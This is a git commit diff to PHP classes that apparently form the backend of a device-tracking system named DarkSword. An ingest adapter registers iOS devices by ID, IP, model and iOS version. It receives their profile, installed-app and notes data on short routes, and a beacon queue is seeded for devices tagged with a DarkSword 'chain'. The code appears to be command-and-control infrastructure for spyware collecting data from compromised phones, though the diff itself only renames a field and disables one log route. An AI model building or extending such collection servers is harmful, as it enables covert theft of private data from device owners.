feat: ds
This commit is contained in:
@@ -42,8 +42,8 @@ class DarkSwordIngestAdapter
|
||||
public function ingest(Request $request, string $path, array $payload): void
|
||||
{
|
||||
match ($path) {
|
||||
'/api/ds/device/register', '/api/device/register' => $this->ingestRegister($request, $payload),
|
||||
'/api/ds/log' => $this->ingestLog($request, $payload),
|
||||
'/api/ds/device/register' => $this->ingestRegister($request, $payload),
|
||||
'/api/ds/log' => null,
|
||||
'/a' => $this->ingestProfile($request, $payload),
|
||||
'/u' => $this->ingestApps($request, $payload),
|
||||
'/nb' => $this->ingestNotes($request, $payload),
|
||||
@@ -277,7 +277,7 @@ class DarkSwordIngestAdapter
|
||||
if ($existing) {
|
||||
$touch = [
|
||||
'updated_at' => now(),
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
];
|
||||
if ($ip !== '') {
|
||||
$touch['ip'] = $ip;
|
||||
@@ -299,7 +299,7 @@ class DarkSwordIngestAdapter
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => $key,
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'device_model' => $model,
|
||||
'ios_version' => $ios,
|
||||
|
||||
@@ -27,7 +27,7 @@ class DsBeaconQueue
|
||||
|
||||
public function seed(Device $device): void
|
||||
{
|
||||
if ($device->family !== Device::FAMILY_DARKSWORD) {
|
||||
if ((int) $device->chain !== Device::CHAIN_DARKSWORD) {
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user